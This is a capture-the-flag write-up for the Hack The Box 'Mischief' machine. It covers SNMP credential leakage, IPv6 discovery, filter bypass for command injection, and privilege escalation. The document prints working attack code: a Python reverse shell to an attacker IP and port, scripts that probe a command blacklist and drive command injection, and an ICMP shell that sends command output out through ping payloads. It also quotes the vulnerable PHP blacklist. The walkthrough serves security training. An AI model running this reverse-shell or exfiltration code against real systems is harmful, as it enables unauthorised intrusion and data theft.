The great mischief. Working your way to the root flag through IPv6 labyrinths on a Hack the Box virtual machine

In this article, I will explain how to gain superuser privileges on Mischief VM available on Hack The Box training grounds. During this journey, you will acquire some SNMP skills, understand the IPv6 routing principles, and learn how to deal with the access control list (ACL) regulating the files and folders permissions. In the end, I will show how to write an ICMP shell in Python and test it.

The difficulty level of this Linux VM is somewhere between Medium and Hard (6.3 out of 10). Initially, Mischief was rated Insane, but some errors made by its creator have downgraded its score.

The journey to the final flag includes the following stages:

• collection and analysis of information provided by the SNMP protocol and subsequent extraction of the authentication data from command line arguments for a simple Python server;
• retrieving the IPv6 address of the target machine from SNMP output (the first method) or from its MAC address through the pivoting of another host on Hack the Box (the second method, which is based on the EUI-64 algorithm);
• detection of a web server located at the identified IPv6 address with a terminal that enables to remotely execute commands on the attacked machine;
• bypassing the filtering; this enables to inject arbitrary commands and retrieve the user’s authentication credentials;
• creation of a reverse shell using the IPv6 protocol and bypassing the iptables rules to be able to run su on behalf of www-data (because, as it turns out, the ACL is blocking the user) and launch a root session with a password ‘forgotten’ in .bash_history; and
• icing on the cake: writing an ICMP shell in Python using the Scapy module. It enables to view results of remotely executed commands using the ping utility.

Intelligence collection

Nmap

Traditionally, I start collecting information by scanning ports with Nmap.

TCP

First, I run a simple SYN scan to check the entire range of TCP ports on the host.

Next, I scan ports 22 and 3366 using default NSE scripts to identify the service versions.

Not much information… I can only see that:

• this is a relatively new Ubuntu build. After checking the banner containing the string with the SSH version (OpenSSH 7.6p1 Ubuntu 4) on launchpad.net (a resource hosting repositories of Ubuntu source packages), I realize that this is a Bionic version dated 2018.03.07. Accordingly, it is useless to search for Secure Shell exploits; and
• A simple Python HTTP server with authentication runs on TCP port 3366. It would be unprofessional to blindly brute-force anything in the very beginning; so, I am going to scan UDP ports to expand the scope of my attack.

UDP

I test the waters using the -sU flag for the UDP range.

Then I make an advanced query.

The situation becomes increasingly interesting: there is an SNMP server on UDP port 161, and Nmap scripts managed to retrieve some information about it. I won’t provide here the entire Nmap output (it is lengthy and not very informative), but this seems to be a good starting point for breaking into the system.

Researching SNMP – UDP port 161

What is SNMP? According to Wikipedia,

Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. Devices that typically support SNMP include cable modems, routers, switches, servers, workstations, printers, and more. In typical uses of SNMP, one or more administrative computers called managers have the task of monitoring or managing a group of hosts or devices on a computer network. Each managed system executes a software component called an agent which reports information via SNMP to the manager.

Because of its default configuration on community strings, they are public for read-only access and private for read-write, SNMP topped the list of the SANS Institute’s Common Default Configuration Issues and was number ten on the SANS Top 10 Most Critical Internet Security Threats for the year 2000.

In other words, SNMP allows collecting and sharing information on operations performed by network hosts. Such information is organized in the Management Information Base (MIB). Object identifiers (OID) identify records in this database. For instance, identifier 1.3.6.1.2.1.4.34 describes ipAddressTable (the table of IP addresses), while identifier 1.3.6.1.2.1.4.34.1.3 describes ipAddressIfIndex (the interface index).

MIBs are based on the ASN.1 notation; they present the data in human-readable form; accordingly, they are not essential SNMP elements. The closest analogue is a DNS server that resolves easily readable domain names into digits constituting IP addresses.

Let’s see whether Kali Linux manages to extract any information from the SNMP service.

Configuring snmpwalk

To analyze the information provided by the target host through SNMP, I am going to use snmpwalk, a standard Linux utility for SNMP research.

If I run snmpwalk with its default settings, I would only get obscure OID values. Therefore, I will use snmp-mibs-downloader to download and install the MIB database. Installing the utility:

Then I allow the MIB usage by commenting out the only meaningful string in /etc/snmp/snmp.conf.

Collecting the dump

Using snmpwalk, I dump the entire SNMP traffic. I set the protocol version 2c (the most common one) and public community string, which is, in fact, the default password for the local authentication method.

The output is massive; so, I redirect it to snmpwalk.out for further analysis.

Important: if you want to do the job ‘quietly’, request snmpwalk to provide only the information you really need. For instance, to get the list of running processes, use the option hrSWRunName (OID 1.3.6.1.2.1.25.4.2.1.2) to refine the request.

List of running processes

As you remember, there is a Python HTTP server on TCP port 3366, and it requests authentication credentials. The login and password to such a server are provided to Python as command line arguments in the following form: SimpleHTTPAuthServer [-h] [--dir DIR] [--https] port key. Accordingly, I can try searching for them in the captured dump.

To do so, I have to find the Python interpreter process among the hrSWRunName-type records.

Using the received index, 593, I request to display everything pertaining to this process in hrSWRunTable.

The hrSWRunParameters string provides parameters required to launch the server: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/; it also contains the authentication data I need: loki:godofmischiefisloki.

IPv6 address

While reviewing the processes, I found a running apache2 server.

Interestingly, Nmap hasn’t shown it. This may indicate that the server operates in the IPv6 environment, and it would be great to retrieve the respective IP address for an additional Nmap scanning (this time, for the IPv6 address).

I see a routable IPv6 address (de:ad:be:ef::02:50:56:ff:fe:b9:7c:aa) and a link-local IPv6 address (fe:80::02:50:56:ff:fe:b9:7c:aa); both of them will change with every VM restart.

EUI-64

Using Mischief VM as an example, let’s see how a link-local IPv6 address is generated based on a 64-bit extended unique identifier EUI-64 contained in the MAC address.

I have to be at the same Data Link layer (OSI layer 2) with the host whose address I want to find out. To demonstrate how this works, I am going to log into another virtual PC on Hack the Box: Hawk. Because all the running instances are located in the same logical segment of the (virtual) network 10.10.10.0/24, I will be able to reach out to Mischief from Hawk. In other words, I will use Hawk as an interlink (i.e. Pivot Point).

I ping Mischief from Hawk and request the ARP table to retrieve the MAC address of Mischief VM.

Now I have the MAC address: 00:50:56:b9:7c:aa. To convert it into a link-local IPv6 address, the following simple steps should be performed:

1. Regroup the MAC address to bring it in compliance with the IPv6 format (two-octet groups): 0050:56b9:7caa.
2. Add fe80:: in the beginning of the MAC address: fe80::0050:56b9:7caa.
3. Insert ff:fe in the middle of the MAC address: fe80::0050:56ff:feb9:7caa.
4. Invert the sixth bit of the MAC address: fe80::0250:56ff:feb9:7caa (it was 0000 0000; now it is 0000 0010, or 0x02).
5. Specify the interface after the percent symbol (because in the IPv6 environment, addresses are assigned to interfaces (i.e. not directly to hosts); so, if you don’t specify the interface, the traffic won’t know where to go): fe80::0250:56ff:feb9:7caa%ens33.

Checking the result:

It’s alive! In theory, I could continue my journey to Mischief’s flags by proxying Hawk VM (i.e. implementing the Proxy Pivoting scheme); however, there is a more exciting way to hack the target machine.

Web – TCP port 3366

So, I get back to the open ports to examine the HTTP server.

Because I already know the credentials (loki:godofmischiefisloki) I authenticate and get on the page shown below.

I see a portrait of Loki (I won’t check it for steganography; trust me: there is nothing there) and another login:password pair: loki:trickeryanddeceit.

Nmap IPv6

As you remember, I had earlier found a running Apache sever on the host and promised to scan the IPv6 address with Nmap. As usual, this is done in two stages:

I see the SSH server again (just like it was with IPv4) and a previously concealed Apache web server on port 80. Let’s check it out.

Web – IPv6 port 80

Browser

Another login request welcomes me at http://[dead:beef::250:56ff:feb9:7caa]:80/.

So, I have encountered another “guess the username” riddle. In fact, I can ignore it because the authentication can be bypassed (more detail in the epilogue). However, for the sake of accuracy, let’s brute-force this form with THC-Hydra.

I create a file containing the possible passwords (as you remember, both of them are present on the HTTP server).

Then I grab the list of usernames from the SecLists collection and launch a brute force attack. As a failure marker, I use the line Sorry, those credentials do not match returned by the server after an unsuccessful authentication attempt.

Success! I’ve got valid logon credentials: administrator:trickeryanddeceit.

Command Execution Panel

After the successful authentication, I get access to a window enabling remote command execution (RCE); it offers me to ping the localhost.

Why not follow the recommendation? To ensure that the command is executed correctly, I will replace 127.0.0.1 with the IP address of my own machine. I launch tcpdump to see the response to the ICMP request from 10.10.10.92 and start pinging.

The command was executed successfully; so, I can continue the experiment.

Filtering commands

If you try using nc to initiate a reverse connection, you’ll be disappointed.

Apparently, a WAF-like process is running on the target machine and blocking commands containing blacklisted words. I have to retrieve the session cookie to find out which commands are allowed and which are not. To do so, I send such requests to the web server using curl.

To automate the process, let’s write a short Bash script that will take the wordlist containing commands to be checked as an input (the commands can be taken from here):

#!/usr/bin/env bash

## Usage: ./test_waf_blacklist <IP_STR> <COOKIE_STR> <DICT_FILE>

IP=$1
COOKIE=$2
DICT=$3

G="\033[1;32m" # GREEN
R="\033[1;31m" # RED
NC="\033[0m"   # NO COLOR

for cmd in $(cat ${DICT}); do
  curl -6 -s -X POST "http://[${IP}]:80/" -H "Cookie: ${COOKIE}" -d "command=${cmd}" | grep -q "Command is not allowed."
  if [ $? -eq 1 ]; then
    echo -e "${G}${cmd}${NC} allowed"
  else
    echo -e "${R}${cmd}${NC} blocked"
  fi
done

Below is a partial result of its work.

In the end of this article, I will address the filtering process in more detail.

Hijacking the Loki account

Reviewing command results

How the result of a command called in the Command Execution Panel is analyzed? In my opinion, the most likely scenario is this. The output is redirected to /dev/null, and the execution success is checked based on the return code. But the problem is that the piping and redirection mechanism in Bash is far from intuitive, while the price of a misconfig may be pretty high. For instance, if you incorrectly set up the redirection for two stacked (i.e. separated by ;) commands, only the result of the last command in the chain would be sent to /dev/null, while results of the previous command would go to stdout.

Therefore, after executing two stacked commands: whoami; echo, I was not really surprised with the result

So, I can see the output of an executed command… I must say that this hacking mechanism is not the one intended by the creator of the VM. But who cares? The first method I use to hijack the Loki’s account exploits this configuration error.

Method 1: /home/loki/credentials

The web interface of the Command Execution Panel displays a hint indicating where the user credentials are located. But you cannot simply type cat /home/loki/credentials; to get Loki’s login information because the word credentials is blacklisted.

However, the screenshot demonstrates that I can call credentials using credential? or cred*. That’s great, but first, I have to write a script to perform such operations without exiting the terminal. Using grep and regular expressions, I am going to grab only the output of the executed command and exclude the page source code from the results of the curl command.

#!/usr/bin/env bash

## Usage: ./command_execution_panel.sh <IP_STR> <COOKIE_STR>

IP=$1
COOKIE=$2

while :
do
  read -p "mischief> "  CMD
  curl -6 -s -X POST "http://[${IP}]:80/" -H "Cookie: ${COOKIE}" -d "command=${CMD};" | grep -F "</html>" -A 10 | grep -vF -e "</html>" -e "Command was executed succesfully!"
  echo
done

I test the script on standard commands that I always try on a new VM.

And then I grab the SSH authentication credentials.

Finally, I can initiate an SSH connection as loki:lokiisthebestnorsegod.

And here is the first flag: the user’s one.

user.txt

Method 2: reverse shell

The local WAF does not block python; so, I am going to craft a reverse shell on its basis and try to get a response. The code is standard: I connect to a remote socket at the specified address and port, create three standard file descriptors (0, 1, and 2), ensure that the history is sent to /dev/null, and spawn a PTY shell with the interpreter process /bin/sh (because the word bash is blacklisted by the WAF).

#!/usr/bin/python
## -*- coding: utf-8 -*-

import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.14", 31337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", "/dev/null")
pty.spawn("/bin/sh")
s.close()

In the field, such code is executed in one string; the -c flag sends this string to Python for execution directly from the terminal.

Too bad, no response. The shell did not return anything. However, based on a distinctive ‘freezing’ during the execution of the last command, I suppose that the outgoing IPv4 traffic is filtered. I try the same command for IPv6 and successfully intercept a response by a listener launched beforehand.

The netcat utility with the -6 flag is used to listen on IPv6.

Upgrade to a fully interactive shell

It’s useful to know how to upgrade a clumsy reverse shell to a full-featured interactive shell supporting such features as command autocompletion (by the Tab key) and control symbols, including the up and down arrow keys, CTRL-R to search the history, CTRL-C to kill a process within the shell (while not killing the shell), etc.

In Linux, this can be done as follows.

1. Spawn a regular PTY shell.

2. Send the remote shell into background to configure the local terminal.

3. Find out the size of the terminal window by filtering out the output of the stty -a command.

4. Disable the echo in the local terminal (to make sure that commands entered in the console mode are not duplicated), switch to the raw mode (also in the local terminal), and wake up the ‘sleeping’ reverse shell process.

5. Adjust the remote terminal to the same height and width as the one on the attacking machine (to avoid watching distorted command outputs).

6. Set the value of the environment variable TERM to display outputs in color (provided that the installed terminal supports this feature).

7. Finally, restart the shell to enable the interpreter to apply the new TERM value.

Now you can enjoy stable work on a remote host with all benefits provided by an interactive shell.

Going back to Mischief VM: after creating a reverse shell, I use the su command to escalate from the current user to Loki (as you remember, I already know the password).

Time to capture the Loki’s flag.

PrivEsc: loki → root

Password in .bash_history

After exploring the host for a while, I found in .bash_history a password to the Python server resembling one of the passwords discovered earlier.

But it turned out to be the root password: root:lokipasswordmischieftrickery…

su on behalf of loki

Being authorized as loki, I cannot escalate my privileges using su.

Why? Good question. Anyone can execute a binary file…

…but the plus symbol at the end of the main access rules indicates that additional rules have been applied to the file; namely, an access-control list (ACL) mechanism.

Access Control Lists

Unfortunately, the standard model for access rights differentiation used in Unix (user/group/other) is not too flexible; it is suited only for simple user hierarchy schemes. To implement more complex access rights structures, an additional security mechanism, ACL (Access Control Lists), has been introduced. It allows to fine-tune file and directory access policies for users and groups.

Using the getfacl, I display the ACL listing for the object (file) /bin/su and examine each of the settings.

As you can see, Loki can read the file /bin/su, but cannot execute it. The same situation is with sudo.

By the way, the getfacl command can also be used to view all objects (i.e. files and directories) whose access permissions are regulated by the ACL rules.

Therefore, I have to find another way to enter the superusers’ credentials.

Method 1: su on behalf of www-data

This way is pretty straightforward: I get back to my command_execution_panel.sh, trigger the shell again, and escalate privileges to root from there.

Method 2: su on behalf of systemd-run

I cannot use su to change the user, but I can do this through the systemd service manager using a unit created during the runtime. Of course, I won’t get a shell ‘here and now’ this way, but I will be able to initiate an IPv6 reverse shell (as I did earlier).

Getting the callback.

Searching for root txt

After getting a root session with any of the above methods and opening /root/root.txt, you won’t find the flag there.

Based on the message, the VM creator assumes that I don’t have a shell yet. But I have one; so, it won’t be a big deal to find the real flag of the fully privileged root user.

root.txt

That’s it: the host is under my full control.

Epilogue

RCE without authentication

It’s funny, but only after completing the task of hacking Mischief VM, I realized that it is possible to execute commands in the Command Execution Panel without authentication. Just look at the source code of the web page /var/www/html/index.php.

<?php
session_start();
require 'database.php';
if( isset($_SESSION['user_id']) ){
    ...
}
...
if(isset($_POST['command'])) {
    ...
}

?>

As you can see, the branch if(isset($_POST['command'])) does not require authentication! In other words, I could avoid spending time on the retrieval of cookies while writing the Bash scripts. It was possible to find this out prior to PWNing the user; all I had to do was brute-force the request parameters using, for instance, wfuzz.

WAF

Now let’s see how the Command Execution Panel is filtering commands. For that purpose, I have to go to /var/www/html and examine index.php.

...
if(isset($_POST['command'])) {
        $cmd = $_POST['command'];
        if (strpos($cmd, "nc" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "bash" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "chown" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "setfacl" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "chmod" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "perl" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "find" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "locate" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "ls" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "php" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "wget" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "curl" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "dir" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "ftp" ) !== false){
                echo "Command is not allowed.";
        } elseif (strpos($cmd, "telnet" ) !== false){
                echo "Command is not allowed.";
        } else {
                system("$cmd > /dev/null 2>&1");
                echo "Command was executed succesfully!";
        }
...

As expected, there are plenty of elseif expressions with conditions strpos($cmd, "STRING") !== false. The best way to bypass such filters is to use the * symbol for command autocompletion (which is exactly what I have done). By the way, all the blocked commands can be retrieved by the following string:

In the same segment of the source code, you can find the origin of the bug affecting the output of stacked commands: if they are stacked with ;, only the result of the last command in the chain is sent to /dev/null.

ICMP shell

This is the most creative part of the journey. Let’s imagine that I hadn’t found a way to view command results directly in the browser (this is exactly what the author had expected). In such a situation, I would have no choice but to create an ICMP shell.

What is an ICMP shell? Remember the only legitimate command in the Command Execution Panel? (Just in case: it was ping.) If you open its manual, you will see an interesting flag that can help to overcome the obstacles created by the author:

-p pattern

You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network.
For example, -p ff will cause the sent packet to be filled with all ones.

The ping command allows to send 16 arbitrary ‘diagnostic’ bytes with each ICMP request. Accordingly, if I send the results of the commands executed on the host as these bytes, I will get a shell. A simple and imperfect one, but still a shell! This is enough to identify vulnerabilities on the target machine.

Core of the shell

The following bash injection will become the core of the future shell:

{ $CMD; echo STOPSTOPSTOPSTOP; } 2>&1 | xxd -p | tr -d '\n' | fold -w 32 | while read output; do ping -c 1 -p $output {LHOST}; done

Let me explain the commands (from left to right):

1. Squiggle brackets stack together outputs of the two commands: the command set by the ICMP shell operator ($CMD) and the stop marker record (echo STOPSTOPSTOPSTOP; its purpose will be explained below).
2. The stdout stream is combined with stderr to see error messages.
3. The result of the first two steps in the chain is sent to xxd -p that converts ASCII into hex.
4. The tr -d command removes ‘\n’ (new line) characters.
5. The fold -w inserts new line characters after each 32 symbols (remember, ping can send 16 bytes in one packet).
6. In the while cycle, the organized result of the command converted into the hex format is read string-by-string (as said above, each string consists of 16 bytes), ping is triggered, and it sends one ICMP packet with each string it has read to the target host ($LHOST is the attacker’s machine) as ‘diagnostic bytes’.

Why do I need a stop marker? Let’s say, I want to get the output of the whoami command. The user’s name is root. After running the command (see below), I will see the displayed result: 726f6f740a. It consists of only ten symbols, which is less than 32.

whoami 2>&1 | xxd -p | tr -d '\n'  # displays "726f6f740a"

In that case, the fold -w 32 instruction would be useless because the output length is less than the required length; so, the while cycle will have nothing to read (it won’t see the new line character and, accordingly, will decide that the output is empty).

Therefore, I added a stop marker with the length of 16 ASCII symbols (16 bytes, 32 hex symbols); its purpose is to ‘complete’ the program output (i.e. increase it to the required length) with the guaranteed jump to the next line. As a result, while reads and sends even short outputs.

ICMPShell.py

To automate the process, I am going to write a Python script using the Scapy module; it will help to implement a sniffer for ICMP packets. As an alternative, you can use the impacket module (like in icmpsh_m.py, but I prefer Scapy.

#!/usr/bin/env python3
## -*- coding: utf-8 -*-

## Usage: python3 ICMPShell.py <LHOST> <RHOST>

import cmd
import sys
from threading import Thread
from urllib.parse import quote_plus

import requests
from scapy.all import *

M = '\033[%s;35m'  # MAGENTA
Y = '\033[%s;33m'  # YELLOW
R = '\033[%s;31m'  # RED
S = '\033[0m'      # RESET

MARKER = 'STOP'

class ICMPSniffer(Thread):

  def __init__(self, iface='tun0'):
    super().__init__()
    self.iface = iface

  def run(self):
    sniff(iface=self.iface, filter='icmp[icmptype]==8', prn=self.process_icmp)

  def process_icmp(self, pkt):
    buf = pkt[ICMP].load[16:32].decode('utf-8')

    setmarker = set(MARKER)
    if set(buf[-4:]) == setmarker and set(buf) != setmarker:
        buf = buf[:buf.index(MARKER)]

    print(buf, end='', flush=True)

class Terminal(cmd.Cmd):

  prompt = f'{M%0}ICMPShell{S}> '

  def __init__(self, LHOST, RHOST, proxies=None):
    super().__init__()

    if proxies:
      self.proxies = {'http': proxies}
    else:
      self.proxies = {}

    self.LHOST = LHOST
    self.RHOST = RHOST
    self.inject = r"""{ {cmd}; echo {MARKER}; } 2>&1 | xxd -p | tr -d '\n' | fold -w 32 | while read output; do ping -c 1 -p $output {LHOST}; done"""

  def do_cmd(self, cmd):
    try:
      resp = requests.post(
        f'http://{self.RHOST}/',
        data=f'command={quote_plus(self.inject.format(cmd=cmd, MARKER=MARKER*4, LHOST=self.LHOST))}',
        headers={'Content-Type': 'application/x-www-form-urlencoded'},
        proxies=self.proxies
      )

      if resp.status_code == 200:
        if 'Command is not allowed.' in resp.text:
          print(f'{Y%0}[!] Command triggers WAF filter. Try something else{S}')

    except requests.exceptions.ConnectionError as e:
      print(str(e))
      print(f'{R%0}[-] No response from {self.RHOST}{S}')

    finally:
      print()

  def do_EOF(self, args):
    print()
    return True

  def emptyline(self):
    pass

if __name__ == '__main__':
  if len(sys.argv) < 3:
    print(f'Usage: python3 {sys.argv[0]} <LHOST> <RHOST>')
    sys.exit()
  else:
    LHOST = sys.argv[1]
    RHOST = sys.argv[2]

  sniffer = ICMPSniffer()
  sniffer.daemon = True
  sniffer.start()

  terminal = Terminal(
    LHOST,
    RHOST,
    # proxies='http://127.0.0.1:8080'  # Burp
  )
  terminal.cmdloop()

The result of its work is shown below: tcpdump is running in the lower panel and sniffing incoming ICMP packets.

iptables

I escalated to root and can finally review the iptables rules.

Only UDP port 161 (snmp), TCP port 22 (ssh), and TCP port 3366 are allowed for incoming and outgoing traffic. Now let’s look at the ip6tables rules.

Everything is allowed! This explains why I managed to get an IPv6 reverse shell and could do nothing with IPv4.

“God Loki, the most cunning liar, the god of flame, mischief and deceit, the most charming of all gods in Norse mythology”